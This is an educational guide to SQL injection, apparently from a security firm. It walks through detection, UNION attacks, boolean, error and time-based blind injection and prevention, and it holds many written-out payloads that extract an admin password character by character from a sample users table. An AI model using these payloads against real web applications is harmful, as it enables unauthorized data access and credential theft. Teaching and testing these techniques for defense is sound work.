SQL Injection (SQLi): A Comprehensive Guide

SQL Injection (SQLi) is one of the most prevalent and dangerous vulnerabilities in web applications. It allows an attacker to interfere with the queries an application makes to its database. This article covers detection techniques, injection points, exploitation strategies, and preventive measures.

1. Detecting SQL Injection Vulnerabilities

Manual Detection

To manually identify SQLi vulnerabilities, test every input and parameter in the application with a variety of payloads:

• Single quote ('): Can break out of a string literal in a SQL query.
• Boolean-based tests:
  OR 1=1 – Always true
  OR 1=2 – Always false
• Time-delay payloads:
  - e.g., '; WAITFOR DELAY '00:00:05';-- or pg_sleep(5) to observe response time delays.
• Out-of-Band (OAST) payloads: Designed to trigger network callbacks using tools like Burp Collaborator.
• SQL syntax tests: Evaluate if the input is interpreted as SQL by checking for anomalies.

Automated Detection

Use tools like Burp Suite Scanner or sqlmap, which automates injection testing and highlights vulnerabilities in real-time.

2. Injection Points in SQL Queries

SQL injection can occur in different parts of SQL statements:

SELECT Statements

• WHERE clause: Most common injection point.
• ORDER BY clause: May allow enumeration or data leakage.
• Table or column names: Vulnerable to dynamic query construction.

UPDATE Statements

• Updated values: Malicious data may change records.
• WHERE clause: Can allow record overwrite or deletion.

INSERT Statements

• Values: Attackers can insert malicious or forged data.

3. Types and Classifications of SQL Injection

• Retrieving hidden data: Modify queries to expose unauthorized data.
• Subverting application logic: Alter query logic to bypass checks (e.g., login bypass).
• UNION attacks: Combine results from multiple SELECT statements.
• Blind SQLi: Exploit when query results aren’t returned.
• Second-order (Stored) SQLi: Payload is stored and executed later.
• XML/JSON-based SQLi: Injection within XML or JSON payloads.

4. Database Enumeration

Once a vulnerability is confirmed, gather information systematically:

• Database version (e.g., SELECT @@version)
• String concatenation syntax (e.g., ||, +)
• Comments (--, /* */)
• Batched/stacked queries (e.g., ; SELECT ...)
• Substring syntax (SUBSTRING, SUBSTR)
• Time-delay functions (SLEEP, pg_sleep, WAITFOR DELAY)
• Table and column enumeration: Use system tables like information_schema.columns.

In the next sections, we’ll consider a database with the following users table as an example.

| id | username | email                  | password          |         
| -- | ---------| -----------------------| ----------------- |
| 1  | johndoe  | johndoe@meravytes.com  | `$2b$12$abc...`   |
| 2  | admin    | admin@meravytes.com    | `$2b$12$def...`   |
| 3  | bobsmith | bobsmith@meravytes.com | `$2b$12$ghi...`   |

Schema Definition (SQL):

Create Table users(
id SERIAL PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
email VARCHAR(50) NOT NULL UNIQUE,
password TEXT NOT NULL);

5. SQL Injection via UNION

performing UNION attack , involves finding out:

• How many columns are being returned from the original query.
• Which columns returned from the original query are of a suitable data type to hold the results from the injected query.
• Inject your query to retrieve interesting data.
• Possibly, you need to retrieve multiple values within a single column.

a. Identify Column Count

• if the injection point is a quoted string within the WHERE clause of the original query, use a series of ORDER BY clauses:
  <close the original query><concatination sytax> ORDER BY X <comment syntax>
Example:

' ORDER BY 1-- 
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--
...

• The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL-- 
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--
...

b. Identify Columns with a Useful Data Type

Identify which columns can display a suitable data type to hold the results from the injected query. In the following example, we test for a string type.

' UNION SELECT 'a',NULL,NULL-- 
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

c. Retrieve Data

Based on the scenario, where:

• The original query returns two columns (both strings),
• The injection point is within a quoted string in the WHERE clause,
• And the target is the users table with username and password columns,

A typical SQL injection payload to extract username and password using a UNION-based injection might look like this:

' UNION SELECT username, password FROM users--

d. Combine Multiple Values

To retrieve multiple values within a single column, use the concatenation syntax specific to the exploited database. For example:

' UNION SELECT username || '~' || password FROM users--

6. Blind SQL Injection

Occurs when the application does not return query results or errors directly in its HTTP responses. So UNION attacks are not effective.

Blind SQLi exploited by:
- By triggering conditional responses.
- By triggering conditional errors.
- Extracting sensitive data via verbose SQL error messages.
- By triggering time delays.

a. Boolean-Based Blind SQLi

i. Goal:
Exploiting blind SQL injection by triggering conditional responses.

ii. Detection:

The application behaves based on the data returned by the query.

In the following example, if the query returns TRUE, the application loads a normal page with the query results. However, if it returns FALSE, an empty page is displayed.

xyz' AND '1'='1    -> returns TRUE   -> Normal page loaded  
xyz' AND '1'='2    -> returns FALSE  -> Empty/Abnormal page loaded

iii. Check the presence of a table:

Once it is confirmed that the application is vulnerable to Boolean-based SQL injection, we can check for the presence of a specific table as follows:

xyz' AND (SELECT 'a' FROM users LIMIT 1)='a   -> returns TRUE   -> Normal page loaded         -> The 'users' table exists in the database  
xyz' AND (SELECT 'a' FROM admins LIMIT 1)='a  -> returns FALSE  -> Empty/Abnormal page loaded -> The 'admins' table does not exist in the database

iv. Check the presence of a column:

Now that we know the database contains a table called users, we can attempt to guess its columns as follows:

xyz' AND (SELECT 'a' FROM users WHERE username IS NOT NULL)='a  -> returns TRUE   -> Normal page loaded         -> The 'username' column exists  
xyz' AND (SELECT 'a' FROM users WHERE password != 'admin')='a  -> returns TRUE   -> Normal page loaded         -> The 'password' column exists  
xyz' AND (SELECT 'a' FROM users WHERE priv IS NOT NULL)='a  -> returns FALSE  -> Empty/Abnormal page loaded -> The 'priv' column does not exist

v. Extract the table content:

At this stage, we know that there is a users table with username and password columns. To retrieve a username and its corresponding password, we can proceed as follows:

xyz' AND (SELECT 'a' FROM users WHERE username = 'admin')='a  -> returns TRUE   -> Normal page loaded         -> The 'admin' user exists  
xyz' AND (SELECT 'a' FROM users WHERE username = 'administrator')='a  -> returns FALSE  -> Empty/Abnormal page loaded -> The 'administrator' user does not exist  
xyz' AND (SELECT 'a' FROM users WHERE username = 'admin' AND LENGTH(password) > 1)='a  -> returns TRUE   -> Normal page loaded         -> The 'admin' password contains more than 1 character  
xyz' AND (SELECT LENGTH(password) FROM users WHERE username = 'admin') > 5  -> returns TRUE   -> Normal page loaded         -> The 'admin' password is longer than 5 characters  
xyz' AND (SELECT LENGTH(password) FROM users WHERE username = 'admin') > 10 -> returns FALSE  -> Empty/Abnormal page loaded -> The 'admin' password is shorter than 10 characters  
xyz' AND (SELECT LENGTH(password) FROM users WHERE username = 'admin') = 9  -> returns TRUE   -> Normal page loaded         -> The 'admin' password contains exactly 9 characters  

Note: In the real world, to extract usernames, we typically use a wordlist, and to retrieve the password, we first determine its length. Then, we extract the characters one by one. Once we have the characters, we can decrypt the hash. For this process, tools like Burp Suite Intruder and Burp Suite Repeater are commonly used.

vi. Extract characters one by one:

At this point, we know the users table contains a row where the username is admin and the password contains 9 characters. To extract the password characters one by one, we proceed as follows:

xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a  -> returns FALSE  -> Empty/Abnormal page loaded  -> The 1st letter is not 'a'
xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='b  -> returns FALSE  -> Empty/Abnormal page loaded  -> The 1st letter is not 'b'
xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='c  -> returns FALSE  -> Empty/Abnormal page loaded  -> The 1st letter is not 'c'
...  
xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='m  -> returns TRUE   -> Normal page loaded  -> The 1st letter is 'm'
xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin')='a  -> returns FALSE  -> Empty/Abnormal page loaded  -> The 2nd letter is not 'a'
...  
xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin')='e  -> returns TRUE   -> Normal page loaded  -> The 2nd letter is 'e'

...  

xyz' AND (SELECT SUBSTRING(password,9,1) FROM users WHERE username='admin')='a  -> returns FALSE  -> Empty/Abnormal page loaded  -> The 9th letter is not 'a'
...  
xyz' AND (SELECT SUBSTRING(password,9,1) FROM users WHERE username='admin')='s  -> returns TRUE   -> Normal page loaded  -> The 9th letter is 's'

After collecting all the obtained letters, we can check the full password:

xyz' AND (SELECT SUBSTRING(password,1,9) FROM users WHERE username='admin')='meravytes'  -> returns TRUE   -> Normal page loaded  -> The password is 'meravytes'

b. Error-Based Blind SQLi

i. Goal:
Exploiting blind SQL injection by triggering conditional errors to observe behavior or via verbose SQL error messages.

ii. Detection:

The error causes a difference in the application’s HTTP response. This error can be triggered by appending a quote, double quote, a false statement, or impossible mathematical operations.

Examples:

• xyz' → Single quote (')
• xyz'' → Double quotes ('')
• xyz' AND (SELECT '') AND ' → False statement (empty SELECT)
• xyz' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END) AND ' → Impossible mathematical operation (1/0, division by zero)
• xyz' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END) AND ' → False statement with impossible operation

Note: The following exploitation tips will discuss how to trigger conditional errors. At the end, we will explore how to exploit verbose SQL error messages.

iii. Check the presence of a table:

With the following technique, if the users table exists, an error will be triggered; otherwise, the table does not exist.

xyz' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users) AND ' -> Error -> The 'users' table exists
xyz' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM admins) AND ' -> No error -> The 'admins' table doesn't exist

iv. Check the presence of a column:

xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username IS NOT NULL)||' -> Error -> The 'username' column exists
xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE password IS NOT NULL)||' -> Error -> The 'password' column exists
xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE priv IS NOT NULL)||'  -> No error -> The 'priv' column does not exist

v. Extract the table content:

xyz' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') AND ' -> No error -> The 'administrator' user doesn't exist
xyz' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 'admin' user exists
xyz' AND (SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 'admin' password contains more than 1 character
xyz' AND (SELECT CASE WHEN LENGTH(password)>5 THEN to_char(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 'admin' password contains more than 5 character
xyz' AND (SELECT CASE WHEN LENGTH(password)>10 THEN to_char(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> No error -> The 'admin' password is shorter than 10 characters
xyz' AND (SELECT CASE WHEN LENGTH(password)=9 THEN to_char(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 'admin' password contains exactly 9 characters

vi. Extract characters one by one:

xyz' AND (SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> No error -> The 1st letter is not 'a'
xyz' AND (SELECT CASE WHEN SUBSTR(password,1,1)='b' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> No error -> The 1st letter is not 'b'
xyz' AND (SELECT CASE WHEN SUBSTR(password,1,1)='c' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> No error -> The 1st letter is not 'c'
...
xyz' AND (SELECT CASE WHEN SUBSTR(password,1,1)='m' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 1st letter is  'm'
xyz' AND (SELECT CASE WHEN SUBSTR(password,2,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 2nd letter is not  'a'
...
xyz' AND (SELECT CASE WHEN SUBSTR(password,2,1)='e' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 2nd letter is  'e'

...

xyz' AND (SELECT CASE WHEN SUBSTR(password,9,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 9th letter is not  'a'
...
xyz' AND (SELECT CASE WHEN SUBSTR(password,9,1)='s' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The 9th letter is  's'

After collecting all the obtained letters, we can check the full password:

xyz' AND (SELECT CASE WHEN password='meravytes' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='admin') AND ' -> Error -> The password is 'meravytes'

vii. Extracting sensitive data via verbose SQL error messages

If you catch database error messages during detection phase, you can use SELECT statement to extract data as follow:

xyz' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
xyz' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

c. Time-Based SQLi

i. Goal:
Exploiting blind SQL injection by delaying responses is generally used when the error does not cause any noticeable difference in the application’s HTTP response, but the query is executed synchronously.

ii. Detection:

xyz';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--  -> 10 sec Delay
xyz';SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--  -> No delay

iii. Check the presence of a table:

xyz';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--  -> 10 sec Delay -> The 'users' table exists
xyz';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM admins--  -> No delay -> The 'admins' table doesn't exist

iv. Check the presence of a column:

xyz';SELECT CASE WHEN (username IS NOT NULL) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--  -> 10 sec Delay -> The 'username' column exists
xyz';SELECT CASE WHEN (password IS NOT NULL) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM admins--  -> 10 sec delay -> The 'password' column exists
xyz';SELECT CASE WHEN (priv IS NOT NULL) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM admins--  -> No delay -> The 'priv' column doesn't exist

v. Extract the table content:

xyz';SELECT CASE WHEN (username='admin') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- -> 10 sec Delay -> The 'admin' user exists 
xyz';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- -> No delay -> -> The 'administrator' user doesn't exist 
xyz';SELECT CASE WHEN (username='admin' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- -> 10 sec Delay -> The 'admin' password contains more than 1 character
xyz';SELECT CASE WHEN (username='admin' AND LENGTH(password)>5) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- -> 10 sec Delay -> The 'admin' password is longer than 5 characters
xyz';SELECT CASE WHEN (username='admin' AND LENGTH(password)>10) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- -> No delay -> The 'admin' password is shorter than 10 characters
xyz';SELECT CASE WHEN (username='admin' AND LENGTH(password)=9) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- -> 10 sec Delay -> The 'admin' password contains exactly 9 characters

vi. Extract characters one by one:

xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> No delay -> The 1st letter is not 'a'
xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,1,1)='b') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> No delay -> The 1st letter is not 'b'
xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,1,1)='c') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> No delay -> The 1st letter is not 'c'
...
xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,1,1)='m') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> 10 sec Delay -> The 1st letter is 'm'
xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,2,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> No delay -> The 2nd letter is not 'a'
...
xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,2,1)='e') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> 10 sec Delay -> The 2nd letter is 'e'

...

xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,9,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> No delay -> The 9th letter is not 'a'
...
xyz';SELECT CASE WHEN (username='admin' AND SUBSTRING(password,9,1)='s') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> 10 sec Delay -> The 9th letter is 's'

After collecting all the obtained letters, we can check the full password:

xyz';SELECT CASE WHEN (username='admin' AND password='meravytes') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users -> 10 sec Delay -> The password is 'meravytes'

7. Out-of-Band (OAST) SQLi

All cited methods are in-band SQL injections because the request and its response are transmitted via the same channel (HTTP). However, in the out-of-band method, the request is transmitted via HTTP, but the response is received through another channel, generally DNS.

Out-of-Band SQLi Used when time-based and error-based approaches fail, as the query is executed asynchronously and the error does not cause any difference in the HTTP responses. OAST SQLi requires DNS callbacks.

Tools: Burp Collaborator, custom DNS loggers.

8. Meravytes’ SQLi Exploitation Decision Tree

9. Prevention Strategies

• Use Parameterized Queries / Prepared Statements: Avoid direct inclusion of user inputs in SQL.
• ORMs (Object-Relational Mappers): Handle query generation securely.
• Input Validation: Enforce strict data formats and whitelisting.
• Least Privilege Principle: Limit DB user access rights.
• Web Application Firewalls (WAFs): Add a security layer.
• Regular Security Testing: Use tools like Burp Suite, SQLMap, and manual testing.

Conclusion

SQL injection remains a critical vulnerability in web applications. By understanding its various forms, detection methods, and exploitation strategies, developers and security professionals can better secure their systems. Preventative measures, especially the use of parameterized queries and secure coding practices, are vital in defending against SQLi.